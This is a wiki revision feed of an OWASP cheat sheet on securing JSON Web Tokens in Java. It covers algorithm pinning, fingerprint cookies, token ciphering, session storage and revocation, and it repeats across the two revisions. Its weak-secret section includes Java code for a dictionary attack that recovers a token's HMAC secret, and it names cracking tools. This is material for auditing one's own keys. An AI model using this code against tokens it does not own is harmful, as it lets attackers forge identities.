    * @return A dict containing the NONCE and AAD if they exists for the specified token&lt;br /&gt;
    * @throws Exception If any issue occur during communication with DB&lt;br /&gt;
    */&lt;br /&gt;
   private  Map&amp;lt;String,String&amp;gt; readNonceAndAAD(String jwtTokenDigestInHex) throws Exception{&lt;br /&gt;
       Map&amp;lt;String,String&amp;gt; gcmInfos = null;&lt;br /&gt;
       try (Connection con = this.storeDS.getConnection()) {&lt;br /&gt;
           String query = &amp;quot;select gcm_nonce, gcm_aad from nonce where jwt_token_digest = ?&amp;quot;;&lt;br /&gt;
           try (PreparedStatement pStatement = con.prepareStatement(query)) {&lt;br /&gt;
               pStatement.setString(1, jwtTokenDigestInHex);&lt;br /&gt;
               try (ResultSet rSet = pStatement.executeQuery()) {&lt;br /&gt;
                   while (rSet.next()) {&lt;br /&gt;
                       gcmInfos = new HashMap&amp;lt;&amp;gt;(2);&lt;br /&gt;
                       gcmInfos.put(&amp;quot;NONCE&amp;quot;, rSet.getString(1));&lt;br /&gt;
                       gcmInfos.put(&amp;quot;AAD&amp;quot;, rSet.getString(2));&lt;br /&gt;
                   }&lt;br /&gt;
               }&lt;br /&gt;
           }&lt;br /&gt;
       }&lt;br /&gt;
&lt;br /&gt;
       return gcmInfos;&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Creation / Validation of the token ====&lt;br /&gt;
&lt;br /&gt;
Use of the token ciphering during the creation and the validation of the token.&lt;br /&gt;
&lt;br /&gt;
Load keys and setup cipher.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;java&amp;quot;&amp;gt;&lt;br /&gt;
//Load keys from configuration text files in order to avoid to store keys as String in JVM memory&lt;br /&gt;
private transient byte[] keyHMAC = Files.readAllBytes(Paths.get(&amp;quot;key-hmac.txt&amp;quot;));&lt;br /&gt;
private transient byte[] keyCiphering = Files.readAllBytes(Paths.get(&amp;quot;key-ciphering.txt&amp;quot;));&lt;br /&gt;
&lt;br /&gt;
//Load issuer ID from configuration text file&lt;br /&gt;
private transient String issuerID = Files.readAllLines(Paths.get(&amp;quot;issuer-id.txt&amp;quot;)).get(0);&lt;br /&gt;
&lt;br /&gt;
//Init token ciphering handler&lt;br /&gt;
TokenCipher tokenCipher = new TokenCipher();&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Token creation.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;java&amp;quot;&amp;gt;&lt;br /&gt;
 //Generate a random string that will constitute the fingerprint for this user&lt;br /&gt;
 byte[] randomFgp = new byte[50];&lt;br /&gt;
 this.secureRandom.nextBytes(randomFgp);&lt;br /&gt;
 String userFingerprint = DatatypeConverter.printHexBinary(randomFgp);&lt;br /&gt;
&lt;br /&gt;
 //Add the fingerprint in a hardened cookie - Add cookie manually because SameSite attribute is not supported by javax.servlet.http.Cookie class&lt;br /&gt;
 String fingerprintCookie = &amp;quot;__Secure-Fgp=&amp;quot; + userFingerprint + &amp;quot;; SameSite=Strict; HttpOnly; Secure&amp;quot;;&lt;br /&gt;
 response.addHeader(&amp;quot;Set-Cookie&amp;quot;, fingerprintCookie);&lt;br /&gt;
&lt;br /&gt;
 //Compute a SHA256 hash of the fingerprint in order to store the fingerprint hash (instead of the raw value) in the token&lt;br /&gt;
 //to prevent an XSS to be able to read the fingerprint and set the expected cookie itself&lt;br /&gt;
 MessageDigest digest = MessageDigest.getInstance(&amp;quot;SHA-256&amp;quot;);&lt;br /&gt;
 byte[] userFingerprintDigest = digest.digest(userFingerprint.getBytes(&amp;quot;utf-8&amp;quot;));&lt;br /&gt;
 String userFingerprintHash = DatatypeConverter.printHexBinary(userFingerprintDigest);&lt;br /&gt;
&lt;br /&gt;
 //Create the token with a validity of 15 minutes and client context (fingerprint) information&lt;br /&gt;
 Calendar c = Calendar.getInstance();&lt;br /&gt;
 Date now = c.getTime();&lt;br /&gt;
 c.add(Calendar.MINUTE, 15);&lt;br /&gt;
 Date expirationDate = c.getTime();&lt;br /&gt;
 Map&amp;lt;String, Object&amp;gt; headerClaims = new HashMap&amp;lt;&amp;gt;();&lt;br /&gt;
 headerClaims.put(&amp;quot;typ&amp;quot;, &amp;quot;JWT&amp;quot;);&lt;br /&gt;
 String token = JWT.create().withSubject(login)&lt;br /&gt;
     .withExpiresAt(expirationDate)&lt;br /&gt;
     .withIssuer(this.issuerID)&lt;br /&gt;
     .withIssuedAt(now)&lt;br /&gt;
     .withNotBefore(now)&lt;br /&gt;
     .withClaim(&amp;quot;userFingerprint&amp;quot;, userFingerprintHash)&lt;br /&gt;
     .withHeader(headerClaims)&lt;br /&gt;
     .sign(Algorithm.HMAC256(this.keyHMAC));&lt;br /&gt;
//Cipher the token&lt;br /&gt;
String cipheredToken = tokenCipher.cipherToken(token, keyCiphering);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Token validation.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;java&amp;quot;&amp;gt;&lt;br /&gt;
//Decipher the token&lt;br /&gt;
String token = tokenCipher.decipherToken(cipheredToken, keyCiphering);&lt;br /&gt;
&lt;br /&gt;
//Retrieve the user fingerprint from the dedicated cookie&lt;br /&gt;
String userFingerprint = null;&lt;br /&gt;
if (request.getCookies() != null &amp;amp;&amp;amp; request.getCookies().length &amp;gt; 0) {&lt;br /&gt;
 List&amp;lt;Cookie&amp;gt; cookies = Arrays.stream(request.getCookies()).collect(Collectors.toList());&lt;br /&gt;
 Optional&amp;lt;Cookie&amp;gt; cookie = cookies.stream().filter(c -&amp;gt; &amp;quot;__Secure-Fgp&amp;quot;.equals(c.getName())).findFirst();&lt;br /&gt;
 if (cookie.isPresent()) {&lt;br /&gt;
   userFingerprint = cookie.get().getValue();&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
//Compute a SHA256 hash of the received fingerprint in cookie in order to compare it to the fingerprint hash stored in the token&lt;br /&gt;
MessageDigest digest = MessageDigest.getInstance(&amp;quot;SHA-256&amp;quot;);&lt;br /&gt;
byte[] userFingerprintDigest = digest.digest(userFingerprint.getBytes(&amp;quot;utf-8&amp;quot;));&lt;br /&gt;
String userFingerprintHash = DatatypeConverter.printHexBinary(userFingerprintDigest);&lt;br /&gt;
&lt;br /&gt;
//Decipher the token&lt;br /&gt;
String token = this.tokenCipher.decipherToken(cipheredToken, this.keyCiphering);&lt;br /&gt;
//Create a verification context for the token&lt;br /&gt;
JWTVerifier verifier = JWT.require(Algorithm.HMAC256(this.keyHMAC))&lt;br /&gt;
   .withIssuer(this.issuerID)&lt;br /&gt;
   .withClaim(&amp;quot;userFingerprint&amp;quot;, userFingerprintHash)&lt;br /&gt;
   .build();&lt;br /&gt;
&lt;br /&gt;
//Verify the token, if the verification fail then a exception is throwed&lt;br /&gt;
DecodedJWT decodedToken = verifier.verify(token);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Token storage on client side ==&lt;br /&gt;
&lt;br /&gt;
=== Symptom ===&lt;br /&gt;
&lt;br /&gt;
It's occur when a application store the token in a way allowing this one to be:&lt;br /&gt;
&lt;br /&gt;
* Automatically sent by the browser (''Cookie'' storage).&lt;br /&gt;
* Retrieved even if the browser is restarted (Use of browser ''localStorage'' container).&lt;br /&gt;
* Retrieved in case of [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet|XSS]] issue (Cookie accessible to JavaScript code or Token stored in browser local/session storage). &lt;br /&gt;
&lt;br /&gt;
=== How to prevent ===&lt;br /&gt;
&lt;br /&gt;
# Store the token using the browser ''sessionStorage'' container.&lt;br /&gt;
# Add it as a ''Bearer'' with JavaScript when calling services.&lt;br /&gt;
# Add [[#Token sidejacking|fingerprint]] information to the token.&lt;br /&gt;
&lt;br /&gt;
By storing the token in browser ''sessionStorage'' container it expose the token to be steal in case of XSS issue. However, fingerprint added to the token prevent reuse of the stolen token by the attacker on his machine. To close a maximum of exploitation surfaces for an attacker, add a browser [[OWASP_Secure_Headers_Project#csp|Content Security Policy]] to harden the execution context.&lt;br /&gt;
&lt;br /&gt;
''Note:''&lt;br /&gt;
&lt;br /&gt;
* The remaining case is when a attacker use the user browsing context as a proxy to use the target application through the legitimate user but the Content Security Policy can prevent communication with non expected domains.&lt;br /&gt;
* It's also possible to implements the authentication service in a way that the token is issued within a hardened cookie, but in this case, a protection against [[Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet|Cross-Site Request Forgery]] attack must be implemented.&lt;br /&gt;
&lt;br /&gt;
=== Implementation example ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
JavaScript code to store the token after authentication.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
 /* Handle request for JWT token and local storage*/&lt;br /&gt;
 function getToken(){&lt;br /&gt;
     var login = $(&amp;quot;#login&amp;quot;).val();&lt;br /&gt;
     var postData = &amp;quot;login=&amp;quot; + encodeURIComponent(login) + &amp;quot;&amp;amp;password=test&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
     $.post(&amp;quot;/services/authenticate&amp;quot;, postData,function (data){&lt;br /&gt;
         if(data.status == &amp;quot;Authentication successful !&amp;quot;){&lt;br /&gt;
             ...&lt;br /&gt;
             sessionStorage.setItem(&amp;quot;token&amp;quot;, data.token);&lt;br /&gt;
         }else{&lt;br /&gt;
             ...&lt;br /&gt;
             sessionStorage.removeItem(&amp;quot;token&amp;quot;);&lt;br /&gt;
         }&lt;br /&gt;
     })&lt;br /&gt;
     .fail(function(jqXHR, textStatus, error){&lt;br /&gt;
             ...&lt;br /&gt;
         sessionStorage.removeItem(&amp;quot;token&amp;quot;);&lt;br /&gt;
     });&lt;br /&gt;
 }&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
JavaScript code to add the token as ''Bearer'' when calling a service, for example a service to validate token here.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
 /* Handle request for JWT token validation */&lt;br /&gt;
 function validateToken(){&lt;br /&gt;
     var token = sessionStorage.getItem(&amp;quot;token&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
     if(token == undefined || token == &amp;quot;&amp;quot;){&lt;br /&gt;
         $(&amp;quot;#infoZone&amp;quot;).removeClass();&lt;br /&gt;
         $(&amp;quot;#infoZone&amp;quot;).addClass(&amp;quot;alert alert-warning&amp;quot;);&lt;br /&gt;
         $(&amp;quot;#infoZone&amp;quot;).text(&amp;quot;Obtain a JWT token first :)&amp;quot;);&lt;br /&gt;
         return;&lt;br /&gt;
     }&lt;br /&gt;
&lt;br /&gt;
     $.ajax({&lt;br /&gt;
         url: &amp;quot;/services/validate&amp;quot;,&lt;br /&gt;
         type: &amp;quot;POST&amp;quot;,&lt;br /&gt;
         beforeSend: function(xhr) {&lt;br /&gt;
             xhr.setRequestHeader(&amp;quot;Authorization&amp;quot;, &amp;quot;bearer &amp;quot; + token);&lt;br /&gt;
         },&lt;br /&gt;
         success: function(data) {&lt;br /&gt;
           ...&lt;br /&gt;
         },&lt;br /&gt;
         error: function(jqXHR, textStatus, error) {&lt;br /&gt;
           ...&lt;br /&gt;
         },&lt;br /&gt;
     });&lt;br /&gt;
 }&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Token weak secret ==&lt;br /&gt;
&lt;br /&gt;
=== Symptom ===&lt;br /&gt;
&lt;br /&gt;
It's occur when the secret used in case of HMAC SHA256 algorithm used for the token signature is weak and can be bruteforced.&lt;br /&gt;
&lt;br /&gt;
The result is the capacity for an attacker to forge arbitrary valid token from a signature point of view.&lt;br /&gt;
&lt;br /&gt;
See [https://www.notsosecure.com/crafting-way-json-web-tokens/ here] for an example.&lt;br /&gt;
&lt;br /&gt;
=== How to prevent ===&lt;br /&gt;
&lt;br /&gt;
Use a very strong secret: Alphanumeric (mixed case) + special characters.&lt;br /&gt;
&lt;br /&gt;
As it's a computer processing only, the size of the secret can be superior to 50 positions.&lt;br /&gt;
&lt;br /&gt;
Secret example:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;A&amp;amp;'/}Z57M(2hNg=;LE?~]YtRMS5(yZ&amp;lt;vcZTA3N-($&amp;gt;2j:ZeX-BGftaVk`)jKP~q?,jk)EMbgt*kW'(&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To evaluate the strength of the secret used for your token signature, you can apply a password dictionary attack on the token combined with the JWT API to facilitate the implementation of a breaker.&lt;br /&gt;
&lt;br /&gt;
Password dictionaries can be found for example [https://wiki.skullsecurity.org/Passwords here].&lt;br /&gt;
&lt;br /&gt;
=== Implementation example ===&lt;br /&gt;
&lt;br /&gt;
Code in charge of testing a secret against a JWT token test base.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;java&amp;quot;&amp;gt;&lt;br /&gt;
 /**&lt;br /&gt;
 * Test if a secret match the secret used to sign the token&lt;br /&gt;
 *&lt;br /&gt;
 * @param token Source JWT token (test base)&lt;br /&gt;
 * @param secret Secret to test&lt;br /&gt;
 * @return The token decoded if the secret matche otherwise return null&lt;br /&gt;
 */&lt;br /&gt;
private DecodedJWT checkSecret(String token, String secret) {&lt;br /&gt;
     DecodedJWT t = null;&lt;br /&gt;
     try {&lt;br /&gt;
         Algorithm algorithm = Algorithm.HMAC256(secret);&lt;br /&gt;
         JWTVerifier verifier = JWT.require(algorithm).build();&lt;br /&gt;
         t = verifier.verify(token);&lt;br /&gt;
     } catch (JWTVerificationException | UnsupportedEncodingException e) {&lt;br /&gt;
         //ignore...&lt;br /&gt;
     }&lt;br /&gt;
     return t;&lt;br /&gt;
 }&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Code snippet to evaluate the token test base on the secret dictionary.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;java&amp;quot;&amp;gt;&lt;br /&gt;
final String tokenTestBase = ...;&lt;br /&gt;
final String[] secret = new String[1];&lt;br /&gt;
final DecodedJWT[] decodedToken = new DecodedJWT[1];&lt;br /&gt;
List&amp;lt;String&amp;gt; secrets = Files.readAllLines(Paths.get(&amp;quot;secrets-dictionary.txt&amp;quot;));&lt;br /&gt;
secrets.parallelStream().forEach(s -&amp;gt; {&lt;br /&gt;
 DecodedJWT tentative = checkSecret(tokenTestBase, s);&lt;br /&gt;
 if (tentative != null) {&lt;br /&gt;
   secret[0] = s;&lt;br /&gt;
   decodedToken[0] = tentative;&lt;br /&gt;
 }&lt;br /&gt;
});&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Use dedicated tools ===&lt;br /&gt;
&lt;br /&gt;
You can also used [https://github.com/hashcat/hashcat/issues/1057#issuecomment-279651700 JohnTheRipper] to perform the password dictionary attack.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Support for [https://github.com/hashcat/hashcat/issues/1057 Hashcat] is pending.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
Jim Manico - jim.manico@owasp.org&lt;br /&gt;
&lt;br /&gt;
Dominique Righetto - dominique.righetto@owasp.org&lt;br /&gt;
&lt;br /&gt;
Paul Ionescu - paul.ionescu@owasp.org&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Peter Mosmans</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=JSON_Web_Token_(JWT)_Cheat_Sheet_for_Java&amp;diff=238815</id>
		<title>JSON Web Token (JWT) Cheat Sheet for Java</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=JSON_Web_Token_(JWT)_Cheat_Sheet_for_Java&amp;diff=238815"/>
				<updated>2018-03-22T07:06:55Z</updated>
		
		<summary type="html">&lt;p&gt;Peter Mosmans: Fix typo&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
= Introduction  =&lt;br /&gt;
__TOC__{{TOC hidden}}&lt;br /&gt;
&lt;br /&gt;
Many applications use '''JSON Web Tokens''' (JWT) to allow the client to indicate its identity for further exchange after authentication.&lt;br /&gt;
&lt;br /&gt;
From ''https://jwt.io/introduction'':&lt;br /&gt;
&lt;br /&gt;
''JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. This information can be verified and trusted because it is digitally signed. JWTs can be signed using a secret (with the HMAC algorithm) or a public/private key pair using RSA.''&lt;br /&gt;
&lt;br /&gt;
JSON Web Token is used to carry information related to the identity and characteristics (claims) of a client. This &amp;quot;container&amp;quot; is signed by the server in order to avoid that a client tamper it in order to change, for example, the identity or any characteristics (example: change the role from simple user to admin or change the client login).&lt;br /&gt;
&lt;br /&gt;
This token is created during authentication (is provided in case of successful authentication) and is verified by the server before any processing. It is used by an application to allow a client to present a token representing his &amp;quot;identity card&amp;quot; (container with all information about him) to server and allow the server to verify the validity and integrity of the token in a secure way, all of this in a stateless and portable approach (portable in the way that client and server technologies can be different including also the transport channel even if HTTP is the most often used).&lt;br /&gt;
&lt;br /&gt;
= Token structure =&lt;br /&gt;
&lt;br /&gt;
Token structure example taken from ''https://jwt.io/#debugger'':&lt;br /&gt;
&lt;br /&gt;
'''[ Base64(HEADER) ] . [ Base64(PAYLOAD) ] . [ Base64(SIGNATURE) ]'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Chunk 1: Header&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
{&lt;br /&gt;
 &amp;quot;alg&amp;quot;: &amp;quot;HS256&amp;quot;,&lt;br /&gt;
 &amp;quot;typ&amp;quot;: &amp;quot;JWT&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Chunk 2: Payload&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
{&lt;br /&gt;
 &amp;quot;sub&amp;quot;: &amp;quot;1234567890&amp;quot;,&lt;br /&gt;
 &amp;quot;name&amp;quot;: &amp;quot;John Doe&amp;quot;,&lt;br /&gt;
 &amp;quot;admin&amp;quot;: true&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Chunk 3: Signature&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HMACSHA256( base64UrlEncode(header) + &amp;quot;.&amp;quot; + base64UrlEncode(payload), KEY )&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Objective =&lt;br /&gt;
&lt;br /&gt;
This article have for objective to provide several tips in a form of a cheatsheet, for Java technology, in order to prevent common security issues meet when using JWT.&lt;br /&gt;
&lt;br /&gt;
About the code samples provided in tips, a global java project sample has been created in order to show the creation and the validation of a token in a secure way.&lt;br /&gt;
&lt;br /&gt;
This project is available [https://github.com/righettod/poc-jwt here] and it use official [https://jwt.io/#libraries JWT library].&lt;br /&gt;
&lt;br /&gt;
In the rest of the article, the term '''token''' refer to the '''JSON Web Tokens''' (JWT).&lt;br /&gt;
&lt;br /&gt;
= Consideration about using JWT =&lt;br /&gt;
&lt;br /&gt;
Even if a JWT token is &amp;quot;easy&amp;quot; to use and allow to expose services (mostly REST style) in a stateless way, it's not the solution that fits for all applications because it cames with some caveats like for example the question of the storage of the token (tackled in this cheatsheet) and others...&lt;br /&gt;
&lt;br /&gt;
If your application do not need to be fully stateless, you can consider using traditional session system provided by all web frameworks and follow the advices from the dedicated [[Session_Management_Cheat_Sheet|cheatsheet]]. However, for stateless applications, when well implemented, it's a good candidate.&lt;br /&gt;
&lt;br /&gt;
= Issues =&lt;br /&gt;
&lt;br /&gt;
== NONE hashing algorithm ==&lt;br /&gt;
&lt;br /&gt;
=== Symptom ===&lt;br /&gt;
&lt;br /&gt;
This attack, described [https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/ here] occur when a attacker alter the token and change the hashing algorithm to indicate, through, the ''none'' keyword, that the integrity of the token has already been verified. As explained in the link above ''some libraries treated tokens signed with the none algorithm as a valid token with a verified signature'', so an attacker can alter the token claims and tkey will be trusted by the application.&lt;br /&gt;
&lt;br /&gt;
=== How to prevent ===&lt;br /&gt;
&lt;br /&gt;
First, use a JWT library that is not exposed to this vulnerability.&lt;br /&gt;
&lt;br /&gt;
Last, during token validation, explicitly request that the expected algorithm was used.&lt;br /&gt;
&lt;br /&gt;
=== Implementation example ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;java&amp;quot;&amp;gt;&lt;br /&gt;
// HMAC key - Block serialization and storage as String in JVM memory&lt;br /&gt;
private transient byte[] keyHMAC = ...;&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
//Create a verification context for the token requesting explicitly the use of the HMAC-256 hashing algorithm&lt;br /&gt;
JWTVerifier verifier = JWT.require(Algorithm.HMAC256(keyHMAC)).build();&lt;br /&gt;
&lt;br /&gt;
//Verify the token, if the verification fail then a exception is throwed&lt;br /&gt;
DecodedJWT decodedToken = verifier.verify(token);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Token sidejacking ==&lt;br /&gt;
&lt;br /&gt;
=== Symptom ===&lt;br /&gt;
&lt;br /&gt;
This attack occur when a token has been intercepted/stolen by a attacker and this one use it to gain access to the system using targeted user identity.&lt;br /&gt;
&lt;br /&gt;
=== How to prevent ===&lt;br /&gt;
&lt;br /&gt;
A way to protect is to add &amp;quot;user context&amp;quot; in the token. User context will be composed by the following information:&lt;br /&gt;
&lt;br /&gt;
* A random string that will be generated during the authentication phase and will be included into the token and also send to the client as an hardened cookie (flags: HttpOnly + Secure + SameSite + cookie prefix).&lt;br /&gt;
* A SHA256 hash of the random string will be stored in the token (instead of the raw value) in order to prevent that any XSS issue allow the attacker to read the random string value and set the expected cookie.&lt;br /&gt;
&lt;br /&gt;
IP address will not be used because there some situation in which IP address can change during the same session like for example when a user access an application through his mobile and he change of mobile operator during the exchange then he change legitimately (often) is IP address. Moreover, using IP address can potentially cause issue at [http://www.eugdpr.org/ European GDPR] compliance level.&lt;br /&gt;
&lt;br /&gt;
During token validation, if the received token do not contains the right context so, it is replayed and then it must be rejected.&lt;br /&gt;
&lt;br /&gt;
=== Implementation example ===&lt;br /&gt;
&lt;br /&gt;
Code to create the token after success authentication.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;java&amp;quot;&amp;gt;&lt;br /&gt;
// HMAC key - Block serialization and storage as String in JVM memory&lt;br /&gt;
private transient byte[] keyHMAC = ...;&lt;br /&gt;
// Random data generator&lt;br /&gt;
private SecureRandom secureRandom = new SecureRandom();&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
//Generate a random string that will constitute the fingerprint for this user&lt;br /&gt;
byte[] randomFgp = new byte[50];&lt;br /&gt;
this.secureRandom.nextBytes(randomFgp);&lt;br /&gt;
String userFingerprint = DatatypeConverter.printHexBinary(randomFgp);&lt;br /&gt;
&lt;br /&gt;
//Add the fingerprint in a hardened cookie - Add cookie manually because SameSite attribute is not supported by javax.servlet.http.Cookie class&lt;br /&gt;
String fingerprintCookie = &amp;quot;__Secure-Fgp=&amp;quot; + userFingerprint + &amp;quot;; SameSite=Strict; HttpOnly; Secure&amp;quot;;&lt;br /&gt;
response.addHeader(&amp;quot;Set-Cookie&amp;quot;, fingerprintCookie);&lt;br /&gt;
&lt;br /&gt;
//Compute a SHA256 hash of the fingerprint in order to store the fingerprint hash (instead of the raw value) in the token&lt;br /&gt;
//to prevent an XSS to be able to read the fingerprint and set the expected cookie itself&lt;br /&gt;
MessageDigest digest = MessageDigest.getInstance(&amp;quot;SHA-256&amp;quot;);&lt;br /&gt;
byte[] userFingerprintDigest = digest.digest(userFingerprint.getBytes(&amp;quot;utf-8&amp;quot;));&lt;br /&gt;
String userFingerprintHash = DatatypeConverter.printHexBinary(userFingerprintDigest);&lt;br /&gt;
&lt;br /&gt;
//Create the token with a validity of 15 minutes and client context (fingerprint) information&lt;br /&gt;
Calendar c = Calendar.getInstance();&lt;br /&gt;
Date now = c.getTime();&lt;br /&gt;
c.add(Calendar.MINUTE, 15);&lt;br /&gt;
Date expirationDate = c.getTime();&lt;br /&gt;
Map&amp;lt;String, Object&amp;gt; headerClaims = new HashMap&amp;lt;&amp;gt;();&lt;br /&gt;
headerClaims.put(&amp;quot;typ&amp;quot;, &amp;quot;JWT&amp;quot;);&lt;br /&gt;
String token = JWT.create().withSubject(login)&lt;br /&gt;
   .withExpiresAt(expirationDate)&lt;br /&gt;
   .withIssuer(this.issuerID)&lt;br /&gt;
   .withIssuedAt(now)&lt;br /&gt;
   .withNotBefore(now)&lt;br /&gt;
   .withClaim(&amp;quot;userFingerprint&amp;quot;, userFingerprintHash)&lt;br /&gt;
   .withHeader(headerClaims)&lt;br /&gt;
   .sign(Algorithm.HMAC256(this.keyHMAC));&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Code to validate the token.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;java&amp;quot;&amp;gt;&lt;br /&gt;
// HMAC key - Block serialization and storage as String in JVM memory&lt;br /&gt;
private transient byte[] keyHMAC = ...;&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
//Retrieve the user fingerprint from the dedicated cookie&lt;br /&gt;
String userFingerprint = null;&lt;br /&gt;
if (request.getCookies() != null &amp;amp;&amp;amp; request.getCookies().length &amp;gt; 0) {&lt;br /&gt;
 List&amp;lt;Cookie&amp;gt; cookies = Arrays.stream(request.getCookies()).collect(Collectors.toList());&lt;br /&gt;
 Optional&amp;lt;Cookie&amp;gt; cookie = cookies.stream().filter(c -&amp;gt; &amp;quot;__Secure-Fgp&amp;quot;.equals(c.getName())).findFirst();&lt;br /&gt;
 if (cookie.isPresent()) {&lt;br /&gt;
   userFingerprint = cookie.get().getValue();&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
//Compute a SHA256 hash of the received fingerprint in cookie in order to compare it to the fingerprint hash stored in the token&lt;br /&gt;
MessageDigest digest = MessageDigest.getInstance(&amp;quot;SHA-256&amp;quot;);&lt;br /&gt;
byte[] userFingerprintDigest = digest.digest(userFingerprint.getBytes(&amp;quot;utf-8&amp;quot;));&lt;br /&gt;
String userFingerprintHash = DatatypeConverter.printHexBinary(userFingerprintDigest);&lt;br /&gt;
&lt;br /&gt;
//Create a verification context for the token&lt;br /&gt;
JWTVerifier verifier = JWT.require(Algorithm.HMAC256(keyHMAC))&lt;br /&gt;
                              .withIssuer(issuerID)&lt;br /&gt;
                              .withClaim(&amp;quot;userFingerprint&amp;quot;, userFingerprintHash)&lt;br /&gt;
                              .build();&lt;br /&gt;
&lt;br /&gt;
//Verify the token, if the verification fail then a exception is throwed&lt;br /&gt;
DecodedJWT decodedToken = verifier.verify(token);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Token explicit revocation by the user ==&lt;br /&gt;
&lt;br /&gt;
=== Symptom ===&lt;br /&gt;
&lt;br /&gt;
This problem is inerrant to JWT token because a token become only invalid when it expires. The user has no built-in feature to explicitly revoke the validity of an token.&lt;br /&gt;
So, in case of steal, a user cannot revoke the token itself and then block the attacker.&lt;br /&gt;
&lt;br /&gt;
=== How to prevent ===&lt;br /&gt;
&lt;br /&gt;
A way to protect is to implement a token blacklist that will be used to mimic the &amp;quot;logout&amp;quot; feature that exists with traditional session system.&lt;br /&gt;
&lt;br /&gt;
